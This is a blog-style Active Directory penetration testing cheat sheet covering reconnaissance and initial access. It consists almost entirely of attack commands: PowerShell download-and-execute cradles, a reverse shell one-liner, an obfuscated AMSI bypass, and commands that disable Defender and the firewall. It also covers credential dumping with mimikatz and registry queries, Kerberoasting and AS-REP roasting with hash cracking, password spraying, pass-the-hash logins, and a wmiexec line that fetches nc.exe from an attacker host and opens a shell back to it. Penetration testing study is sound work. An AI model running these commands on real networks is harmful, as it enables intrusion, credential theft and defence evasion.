Active Directory Penetration Testing - Recon & Initial Access
2021-04-03 05:06:00 Author:查看原文) 阅读量:402 收藏

Hello Everyone, I am back after a long time. Today' post is on Active directory reconnaissance and gaining initial foot hold into the target active directory network. here i am going to share the commands and steps for many attacks where I assume that you already have access to the network.

if you are at a right place if you are searching for Active Directory Penetration testing cheat sheet. If you are are looking for privilege escalation cheat sheet - refer to the post Windows Privilege Escalation & Linux Privilege Escalation

Download Reverse Shells on the target machine

#download and execute the script

powershell.exe -c iex(new-object'')#Run the shell in memory
powershell.exe iex(invoke-webrequest("") -UseBasicParsing))

powershell.exe iex(iwr( -usebasicparsing)

#download the rev shell on the target and save it
powershell.exe Invoke-WebRequest -OutFile c:\temp\powerrev.ps1
powershell.exe c:\temp\powerrev.ps1

#Another way of downloading a file
powershell "IEX(New-Object Net.WebClient).downloadString('')"

# Download and execute Automatically
echo IEX(New-Object Net.WebClient).DownloadString('') | powershell -noprofile -

#Powershell V3
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('')|iex"
iex (iwr '')

$h=New-Object -ComObject Msxml2.XMLHTTP;$'GET','',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

Powershell Revere Shell

powershell -nop -c $client = New-Object System.Net.Sockets.TCPClient('',5985);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Local user & Group Enum

whoami /priv

whoami /groups echo %USERNAME% || whoami $env:username

Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name net user UserName /domain #Basic Group Enumeration
net localgroup Get-LocalGroup | ft Name net localgroup "Remote Management Users" #Password Requirements
net accounts #Create a New account net user /add bhanu Bhanu@1234 net localgroup administrators bhanu /add

Network Enumeration

#List all network interfaces, IP, and DNS. ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft #List current routing table route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex #List the ARP table arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State #List all current connections netstat -ano #Powershell Ping Sweep 1..255 | % {echo "192.168.1.$_"; ping -n 1 -w 100 192.168.1.$_} | Select-String ttl #List firewall state and current configuration netsh advfirewall firewall dump or netsh firewall show state netsh firewall show config #List firewall's blocked ports $f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports #Disable firewall netsh firewall set opmode disable netsh advfirewall set allprofiles state off #Disable AntiVirus/ Windows Defender Set-MpPreference -DisableRealtimeMonitoring $true #Disable AMSI sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) or [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) #Enable RDP on the target machine sc stop WinDefend netsh advfirewall show allprofiles netsh advfirewall set allprofiles state off netsh firewall set opmode disable reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable proxychains rdesktop -u Bhanu -p Bhanu@1234
#List all network shares net share #SNMP Configuration reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Ldap Enumeration:

ldapsearch -x -h -s base namingcontexts ldapsearch -x -h forest.htb.local -s sub -b 'DC=HTB,DC=LOCAL' | tee ldap_dump.txt Dumping passwords using LDAP: ldapsearch -x -h forest.htb.local -b 'DC=HTB,DC=LOCAL' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd ldapsearch -x -h -D <<username>> -w <<password>> -b "dc=AJLAB,dc=COM" "(ms-MCS-AdmPwd=*)" ms-MSC-AdmPwd

Domain Enumeration with RPcclient

#Enum using Null Session rpcclient -U ""

#Login as a user

rpcclient -U USERNAME // #Find Users in the domain rpcclient -Uuser_Name%PASSWORD -c enumdomusers #Find Domian Info rpcclient -Uuser_Name%PASSWORD -c querydominfo #Find Groups and their Alias rpcclient -Uuser_Name%PASSWORD -c "enumalsgroups builtin" #Find more info using Alias and note SIDs rpcclient -Uuser_Name%PASSWORD -c "queryaliasmem builtin 0x244" #Find more info using SIDs rpcclient $> lookupsids S-1-5-21-586154515854-343543654-8743952433-1105

#Reset other Users Password
rpcclient -U user1 //
setuserinfo2 USER2 23 'PASSWORD'

Enum using RPCClient
rpcclient -U DOMAIN\\Username #Enter pass

enumdomusers #Enumerate Domain Users enumprivs        #Enum Privilegesenumprinters    #Enum Printers

Gaining Hashes from SAM/System

reg save HKLM\SAM C:\sam
reg save HKLM\SYSTEM C:\system

impacket-secretsdump -sam SAM -system SYSTEM local

Note: if the hash starts with 31d6, the password is either blank or the account is disabled. 

decrypt the hash from

Login with the HASH:


pwdump SYSTEM SAM > sam.txt
samdump2 SYSTEM SAM -o sam.txt
john -format=NT sam.txt

Dumping Credentials using mimikatz

mimikatz.exe privilege::debug /You should see 200 OK sekurlsa::logonpasswords /dump creds and other info sekurlsa::tickets /view available tickets sekurlsa::tickets /export /Download all the tickets

Dumping Creds if you find lsass.dmp

mimikatz.exe sekurlsa::minidump lsass.DMP sekurlsa::logonPasswords full
Find Passwords in Registry

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKCU\Software\TightVNC\Server /v PasswordViewOnly"

# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP" 2\Sessions

To decrypt winscp keys,copy the username,hostname and encrypted password and use github-winscppassworddecrypt
# Search for password in registry
reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s 

Credentials in Credential Manger

cmdkey /list dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\  #run as admin using previously saved creds runas /user:Administrator /noprofile /savecred "cmd.exe /c type C:\users\administrator\desktop\root.txt > C:\users\noob\root.txt"
Powershell Sudo For Windows

$pw= convertto-securestring "EnterPasswordHere" -asplaintext -force
$pp = new-object -typename System.Management.Automation.PSCredential -argumentlist "EnterDomainName\EnterUserName",$pw
$script = "C:\Users\EnterUserName\AppData\Local\Temp\test.bat"
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process $script -verb Runas}' 

powershell -ExecutionPolicy Bypass -File xyz.ps1

Basic AD Enum After Initial Access using AD Module

#Get Domain Details
$ADClass = [System.DirectoryServices.ActiveDirectory.Domain]

#Loading AD Modules
Import-Module Microsoft.ActiveDirectory.Management.dll -Verbose
Import-Module ActiveDirectory.psd1

User Enumeration

#View all users in Domain

#View all user properties
get-aduser -Identity kyomah -Properties *

#ALL user Objects

Get-ADUser -Filter * -Properties * |select -First 1 | Get-Member -MemberType *Property | select Name

#Find Last Password set date

Get-ADUser -Filter * -Properties * |select name, @{expression={[datetime]::fromFileTime($_pwdlsatset)}}

#View Account Descriptions to check for stored passwords
Get-ADUser -Filter 'Description -like "*pass*"' -Properties Description | select name,Description

#Finding user accounts used as Service accounts
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Computer Enumeration
#view all computer names
Get-ADComputer -Filter * | select name

#Find Windows 2012 Servers
Get-ADComputer -Filter 'OperatingSystem -like "*2019*"' -Properties OperatingSystem | select Name,OperatingSystem

#Check if machines is online/pingable
Get-ADComputer -Filter * -Properties DNSHostName |%{Test-Connection -Count 1 -ComputerName $_.DNSHostName}

User Groups Enumeration#Find all groups in the Domain
Get-ADGroup -Filter * |select name

#Get verbose info about groups
Get-ADGroup -Filter * -Properties *

#Find Complete info about specific group

Get-ADGroup -Identity 'Enterprise Admins' -Properties *
Get-ADGroup -Filter 'Name -like "*admin*"'| select Name

Group Membership Enum

#Find the members of a group
Get-ADGroupMember -Identity 'Enterprise Admins' -Recursive | select SamAccountName

#Find the groups a user is member of

Get-ADPrincipalGroupMembership -Identity UserName | select name

GPO Enumeration:

#Get GPO list in current domain

Get-gpo -all

#Restricted policy

#Finding OUS
Get-ADOrganizationalUnit -Filter * -Properties *

Forest Enumeration

#Domain Trust Mapping

Get-ADTrust -Identity steins.local

#Forest Details
Get-AdForest -Identity Steins.local

#Get all domains in current forest


#Get all Global catalogs for current forest

Get-ADForest | select -ExpandProperty GlobalCatalogs

#Map Trusts of Forests

Get-ADTrust -Filter 'msDS-TrustForestTrustinfo -ne "$null"'

Basic AD Enum After Initial Access using PowerView

powershell.exe -ep bypass SET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) Import-Module ./PowerView.ps1

#View all the computers in the domain
Get-DomainComputer | Select name
#List the users in the domain
Get-DomainUser Get-DomainUser -Name User1
#View all the shares of the comupters
Invoke-ShareFinder -Verbose -ExcludeStandard -ExcludePrint -ExcludeIPC
Get-NetfileServer --help

#List all groups on a machine:
Get-netlocalgroup -ComputerName steinsdc -ListGroups

#Find Computers where Domain admin (user/group) has sessions
Invoke-UserHunter -GroupName "RDPUsers"

#Find Computers where domain admin is logged in
Invoke-UserHunter -Stealth

#Finding user accounts used as Service accounts
Get-NetUser -SPN Get-DomainUser -SPN
#Get all the groups in the current domain Get-DomainGroup Get-DomainGroupMember -Name "Domain Admins" #Get all the members of the Domain Admins group Get-NetGroupMember -GroupName "Domain Admins" Get-NetGroupMember -GroupName "Domain Admins" -Recurse Get-NetGroupMember -GroupName "Enterprise Admins" -Domain <DOmain name here> #Get the group membership for a user: Get-DomainGroup –UserName "student1"

Finding machines with local admin access

incase SMB is disbaled, you can run the below --> import the script

Find-WMILocalAdminAccess -ComputerFile ./computers.txt -Verbose

Find-WMILocalAdminAccess -ComputerName starkt

Creds Sniffing when SMB Signing is not required/ Disbaled responder -I tun0 -F --lm -d -w -i KALI_IP

net use \\ #on target machine or Access SMB

responder -I tun0 -rPv

#NTLMv2 Hash
hashcat -m 5600 hash ~/Downloads/rockyou.txt --force -r /usr/share/hashcat/rules/d3ad0ne.rule

Find users with SPN's set to their Accounts

#import the module and Find the users
Import-Module .\GetUserSPNs.ps1


#AD module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Get-NetUser -SPN

or sudo -request -dc-ip Steins.local/mark
#request the users ticket

powershell.exe -exec bypass -c "Add-Type -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList '
SPNNAME/hostname.steins.LOCAL:1433' "


.\Invoke-Kerberoast.ps1#Generate the hash
Invoke-Kerberoast -OutputFormat Hashcat
#Cracking the hash
hashcat -m 13100 -a 0 ticket.hashcat /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/T0XlC-insert_space_and_special_0_F.rule --force


hashcat -a 0 -m 13100

ticket.hashcat /usr/share/wordlists/rockyou.txt -r/usr/share/hashcat/rules/d3ad0ne.rule --force


hashcat -a 0 -m 13100 hash ~/Downloads/Tools/rockyou.txt -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule --force

Brute Forcing Kerberos

kerbrute userenum --dc -d steins.local users.txt 

Download Kerbrute from here
kerbrute userenum --domain htb.local /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt --dc 

ASREP Roast: Get users hash from a DoNotPre-Auth user

sudo STEINS-DC.LOCAL/ -usersfile users.txt -outputfile hashes.txt -dc-ip

sudo john hash --format=krb5asrep --wordlist=rockyou.txt 
# better copy rockyou.txt to the same location  
ASREP Roast as an Authenticated user

python3 steins.local/user:"password!" -dc-ip -request
Updating Time to Match DC - KRB_AP_ERR_SKEW(Clock skew too great)

#Display the time of the server
proxychains net time -S


#Get DC time from curl response headers
proxychains curl DC_IP:5985 -v

sudo date -s "Thu Dec 24"

.\Rubeus.exe kerberoast /domain:steins.local /user:username/format:hashcat /outfile:hash.txt
hashcat -m 13100 krb5t_hash /home/kali/Downloads/Tools/rockyou.txt --force  
Save the TGS to the disk and brute force it :P. DC identifies the service account by ServicePrincipalName but service accounts password are freaking hard to crack in most of the cases.

Finding user accounts used as Service accounts: List SPNs

Poweview: Get-NetUser -SPN
AD: Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Request a Ticket: TGS: Take the SPN Name from above command

#AD Module - get TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosReceiverSecurityToken -ArgumentList "SPN_NAME/Steins.local"

#Check tokens and confirm the TGS

#Saves the tickets from memory to DISK
Invoke-Mimikatz -Command '"Kerberos::list /export"'

#PowerView: supports JTR & hashcat

Old way to cracking kerberos password
python wordlist.txt hash_fileName


# Requesting TGS (Ticket Granting Service) steins.local/kyomah:Welcome@1 -dc-ip -request

#Cracking Kerberos 5 TGS using hashcat
hashcat -m 13100 krb5t_hash /home/kali/Downloads/Tools/rockyou.txt --force 

Targeted Kerberosting - AS-REPs

powerview.ps1 Get-DomainUser -PreauthNotRequired -Verbose

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuths

OR CHECK FOR users on which we can modify ACL
---------------------------------------------- Searching for GenericAll Rights

#Finding Users with enough persmissions to modify acls
powerview_dev.ps1 Invoke-ACLScanner -ResolveGUIds | {$_.IdentityReferenceName -match "RDPUsers"}

#Changing the ACL of the user: Disabling PreAuth for Kerberos
Powerview.exe Set-DomainObject -Identity USER_NAME -XOR @{useraccountcontrol=4194304} -Verbose

#Now we should be able to view users for preatuth is required:
Powerview.exe Get-DomainUser -PreAuthNotRequired -Verbose

#Requesting AS-REP for offline bruteforcing: (Depricated)
Get-ASREPhash -Username USER_NAME -Verbose

#use Asreproast to get the hash of the user account, remove all the spaces from the hash before bruteforcing
Rubeus.exe asreproast /user:TestOU3user
Rubeus.exe asreproast /user:Administrator /format:hashcat /outfile:hash.txt

#Copy the hash and crack it using JTR hashcat
john krbhash --wordlist=wordlist.txt


#Cracking using Hashcat; add $23 after
$krb5asrep if you do not export the hash as hashcat format
hashcat -m18200 hash -a 3 rockyou.txt
hashcat -m18200 hash rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule --force
Abusing Kerberos with users who doenst have SPNs
- Set SPN for the user and request TGS#searching for users with GenericAll Permissions Set
powerview.exe Invoke-ACLScanner -ResolveGUIds | {$_.IdentityReferenceName -match "RDPUsers"}

#Find the user who doesnt have SPN set already using AD module:
Get-ADUser -Identity USER_Name -Properties ServicePrincipalName | Select ServicePrincipalName

#Set a SPN for the User (Must be Unique for the domain)
powerview.exe Set-DomainObject -Identity USER_NAME -Set @{serviceprincialName = 'DomainName/SomeUniqueName'}
AD: Set-ADUser -Identity USER_NAME -ServicePrincipalNames @{Add='DomainName/SomeUniqueName'}

#Now if you check you should see SPN Set to the username
Get-ADUser -Identity USER_Name -Properties ServicePrincipalName | Select ServicePrincipalName

Now request a TGS:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosReceiverSecurityToken -ArgumentList DomainName/SomeUniqueName"

#check the TGS for DomainName/SomeUniqueName

#Export the tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'

#Crack the TGS
python wordlist.txt hash_fileName

Log generated is 4769

Adding DoNotPre-Auth on target user

#works only after logging in

Set-ADAccountControl -Identity jorden -doesnotrequirepreauth $true

Password Spraying

Import-Module PowerView.ps1 #list all domain users and save them to a text file PowerShell Get-DomainUser | select samaccountname Import-Module DomainPasswordSpray.ps1 Invoke-DomainPasswordSpray -UserList users.txt -Password 'P@$$W0rd!' -OutFile sprayed-creds.txt or proxychains crackmapexec smb -d steins.local -u users.txt -p 'p@$$w0rd1' --continue-on-success

Open a Shell using creds: 

#if Port 5985 is open, we can login into winrm

sudo evil-winrm -u USERNAME -p PASSWORD -i


evil-winrm -u username -H 9658d1d1dcd9250115e2205d9f48400d -i
or [email protected] or sudo [email protected] OR login to the machine and ./mimikatz.exe "lsadump::dcsync /user:Administrator" "exit"; or
evil-winrm -i -u administrator -p aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

or -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 steins.local/[email protected]


.\SharpDPAPI.exe machinecredentials [email protected] -hashes LMHASH:NTHASH

Enumerating AD Recycle Bin Group

Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects

#Now check for users passwords. might come in handy sometimes
Get-ADObject -filter { SAMAccountName -eq "UserName" } -includeDeletedObjects -property *

RCE using wmiexec

proxychains -debug -nooutput domain/username:'password'@TARGET_ip "powershell.exe Invoke-WebRequest -Uri 'http://KALI_ip/nc.exe' -OutFile 'C:\Windows\System32\spool\drivers\color\nc.exe'; cmd.exe /c C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe KALI_IP 9001"

That’s it for this post Active Directory Penetration Testing - Recon & Initial Access. If you are are looking for privilege escalation cheat sheet - refer to the post Windows Privilege Escalation & Linux Privilege Escalation Let me know if I missed any initial recon commands. I’ll add it to the list. I will continue the lateral movement and maintaining persistence in another post. Until then. see ya